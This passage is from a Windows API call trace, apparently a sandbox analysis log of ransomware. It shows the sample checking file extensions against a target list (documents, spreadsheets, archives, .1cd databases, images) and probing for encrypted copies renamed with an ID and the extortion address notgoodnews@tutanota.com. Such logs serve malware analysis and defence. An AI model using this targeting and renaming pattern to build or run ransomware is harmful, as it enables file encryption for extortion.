lstrlenW (lpString=".7z") returned 3 [0050.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.430] lstrlenW (lpString=".dbf") returned 4 [0050.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.430] lstrlenW (lpString=".1cd") returned 4 [0050.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.430] lstrlenW (lpString=".jpg") returned 4 [0050.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.431] lstrlenW (lpString=".doc") returned 4 [0050.431] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.431] lstrlenW (lpString=".docx") returned 5 [0050.431] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0050.431] lstrlenW (lpString=".pdf") returned 4 [0050.431] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.431] lstrlenW (lpString=".xls") returned 4 [0050.431] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.431] lstrlenW (lpString=".xlsx") returned 5 [0050.431] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0050.431] lstrlenW (lpString=".ppt") returned 4 [0050.431] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.431] lstrlenW (lpString=".zip") returned 4 [0050.431] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.431] lstrlenW (lpString=".rar") returned 4 [0050.431] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.431] lstrlenW (lpString=".bz2") returned 4 [0050.431] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.431] lstrlenW (lpString=".7z") returned 3 [0050.431] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.431] lstrlenW (lpString=".dbf") returned 4 [0050.432] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.432] lstrlenW (lpString=".1cd") returned 4 [0050.432] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0050.432] lstrlenW (lpString=".jpg") returned 4 [0050.432] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.432] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0050.432] lstrlenW (lpString="join.avi") returned 8 [0050.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0051.015] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=222208) returned 1 [0051.015] CloseHandle (hObject=0x1ac) returned 1 [0051.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0051.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.015] lstrlenW (lpString=".doc") returned 4 [0051.015] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0051.015] lstrlenW (lpString=".docx") returned 5 [0051.015] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0051.015] lstrlenW (lpString=".pdf") returned 4 [0051.015] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0051.015] lstrlenW (lpString=".xls") returned 4 [0051.015] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0051.016] lstrlenW (lpString=".xlsx") returned 5 [0051.016] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0051.016] lstrlenW (lpString=".ppt") returned 4 [0051.016] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0051.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.016] lstrlenW (lpString=".zip") returned 4 [0051.016] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0051.016] lstrlenW (lpString=".rar") returned 4 [0051.016] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0051.016] lstrlenW (lpString=".bz2") returned 4 [0051.016] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0051.016] lstrlenW (lpString=".7z") returned 3 [0051.016] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0051.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.016] lstrlenW (lpString=".dbf") returned 4 [0051.016] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0051.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.016] lstrlenW (lpString=".1cd") returned 4 [0051.016] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0051.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.016] lstrlenW (lpString=".jpg") returned 4 [0051.016] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0051.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.017] lstrlenW (lpString=".doc") returned 4 [0051.017] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0051.017] lstrlenW (lpString=".docx") returned 5 [0051.017] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0051.017] lstrlenW (lpString=".pdf") returned 4 [0051.017] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0051.017] lstrlenW (lpString=".xls") returned 4 [0051.017] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0051.017] lstrlenW (lpString=".xlsx") returned 5 [0051.017] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0051.017] lstrlenW (lpString=".ppt") returned 4 [0051.017] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0051.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.017] lstrlenW (lpString=".zip") returned 4 [0051.017] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0051.017] lstrlenW (lpString=".rar") returned 4 [0051.017] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0051.017] lstrlenW (lpString=".bz2") returned 4 [0051.017] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0051.017] lstrlenW (lpString=".7z") returned 3 [0051.018] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0051.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.018] lstrlenW (lpString=".dbf") returned 4 [0051.018] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0051.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.018] lstrlenW (lpString=".1cd") returned 4 [0051.018] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0051.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0051.018] lstrlenW (lpString=".jpg") returned 4 [0051.018] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0051.018] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.018] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0051.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.493] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=247) returned 1 [0051.493] CloseHandle (hObject=0x1a8) returned 1 [0051.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0051.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.495] lstrlenW (lpString=".doc") returned 4 [0051.495] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.495] lstrlenW (lpString=".docx") returned 5 [0051.495] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0051.495] lstrlenW (lpString=".pdf") returned 4 [0051.495] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.495] lstrlenW (lpString=".xls") returned 4 [0051.495] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.495] lstrlenW (lpString=".xlsx") returned 5 [0051.496] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0051.496] lstrlenW (lpString=".ppt") returned 4 [0051.496] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.496] lstrlenW (lpString=".zip") returned 4 [0051.496] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.496] lstrlenW (lpString=".rar") returned 4 [0051.496] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.496] lstrlenW (lpString=".bz2") returned 4 [0051.496] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.496] lstrlenW (lpString=".7z") returned 3 [0051.496] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.496] lstrlenW (lpString=".dbf") returned 4 [0051.496] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.496] lstrlenW (lpString=".1cd") returned 4 [0051.496] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.496] lstrlenW (lpString=".jpg") returned 4 [0051.497] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.497] lstrlenW (lpString=".doc") returned 4 [0051.497] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.497] lstrlenW (lpString=".docx") returned 5 [0051.497] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0051.497] lstrlenW (lpString=".pdf") returned 4 [0051.497] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.497] lstrlenW (lpString=".xls") returned 4 [0051.497] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.497] lstrlenW (lpString=".xlsx") returned 5 [0051.497] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0051.497] lstrlenW (lpString=".ppt") returned 4 [0051.497] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.497] lstrlenW (lpString=".zip") returned 4 [0051.497] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.497] lstrlenW (lpString=".rar") returned 4 [0051.498] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.498] lstrlenW (lpString=".bz2") returned 4 [0051.498] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.498] lstrlenW (lpString=".7z") returned 3 [0051.498] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.498] lstrlenW (lpString=".dbf") returned 4 [0051.498] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.498] lstrlenW (lpString=".1cd") returned 4 [0051.498] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0051.498] lstrlenW (lpString=".jpg") returned 4 [0051.498] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.498] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.498] lstrlenW (lpString="base_heb.xml") returned 12 [0051.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.500] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=738) returned 1 [0051.500] CloseHandle (hObject=0x1a8) returned 1 [0051.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0051.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.500] lstrlenW (lpString=".doc") returned 4 [0051.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.501] lstrlenW (lpString=".docx") returned 5 [0051.501] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0051.501] lstrlenW (lpString=".pdf") returned 4 [0051.501] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.501] lstrlenW (lpString=".xls") returned 4 [0051.501] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.501] lstrlenW (lpString=".xlsx") returned 5 [0051.501] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0051.501] lstrlenW (lpString=".ppt") returned 4 [0051.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.501] lstrlenW (lpString=".zip") returned 4 [0051.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.501] lstrlenW (lpString=".rar") returned 4 [0051.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.501] lstrlenW (lpString=".bz2") returned 4 [0051.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.501] lstrlenW (lpString=".7z") returned 3 [0051.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.501] lstrlenW (lpString=".dbf") returned 4 [0051.502] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.502] lstrlenW (lpString=".1cd") returned 4 [0051.502] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.502] lstrlenW (lpString=".jpg") returned 4 [0051.502] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.502] lstrlenW (lpString=".doc") returned 4 [0051.502] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.502] lstrlenW (lpString=".docx") returned 5 [0051.502] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0051.502] lstrlenW (lpString=".pdf") returned 4 [0051.502] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.502] lstrlenW (lpString=".xls") returned 4 [0051.502] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.502] lstrlenW (lpString=".xlsx") returned 5 [0051.503] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0051.503] lstrlenW (lpString=".ppt") returned 4 [0051.503] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.503] lstrlenW (lpString=".zip") returned 4 [0051.503] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.503] lstrlenW (lpString=".rar") returned 4 [0051.503] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.503] lstrlenW (lpString=".bz2") returned 4 [0051.503] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.503] lstrlenW (lpString=".7z") returned 3 [0051.503] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.503] lstrlenW (lpString=".dbf") returned 4 [0051.503] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.503] lstrlenW (lpString=".1cd") returned 4 [0051.503] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0051.503] lstrlenW (lpString=".jpg") returned 4 [0051.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.504] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.504] lstrlenW (lpString="base_jpn.xml") returned 12 [0051.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.504] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=804) returned 1 [0051.504] CloseHandle (hObject=0x1a8) returned 1 [0051.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0051.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.505] lstrlenW (lpString=".doc") returned 4 [0051.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.505] lstrlenW (lpString=".docx") returned 5 [0051.505] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0051.505] lstrlenW (lpString=".pdf") returned 4 [0051.505] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.505] lstrlenW (lpString=".xls") returned 4 [0051.505] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.505] lstrlenW (lpString=".xlsx") returned 5 [0051.505] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0051.505] lstrlenW (lpString=".ppt") returned 4 [0051.505] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.506] lstrlenW (lpString=".zip") returned 4 [0051.506] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.506] lstrlenW (lpString=".rar") returned 4 [0051.506] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.506] lstrlenW (lpString=".bz2") returned 4 [0051.506] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.506] lstrlenW (lpString=".7z") returned 3 [0051.506] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.506] lstrlenW (lpString=".dbf") returned 4 [0051.506] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.506] lstrlenW (lpString=".1cd") returned 4 [0051.506] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.506] lstrlenW (lpString=".jpg") returned 4 [0051.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.506] lstrlenW (lpString=".doc") returned 4 [0051.507] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.507] lstrlenW (lpString=".docx") returned 5 [0051.507] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0051.507] lstrlenW (lpString=".pdf") returned 4 [0051.507] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.507] lstrlenW (lpString=".xls") returned 4 [0051.507] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.507] lstrlenW (lpString=".xlsx") returned 5 [0051.507] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0051.507] lstrlenW (lpString=".ppt") returned 4 [0051.507] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.507] lstrlenW (lpString=".zip") returned 4 [0051.507] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.507] lstrlenW (lpString=".rar") returned 4 [0051.507] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.507] lstrlenW (lpString=".bz2") returned 4 [0051.507] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.507] lstrlenW (lpString=".7z") returned 3 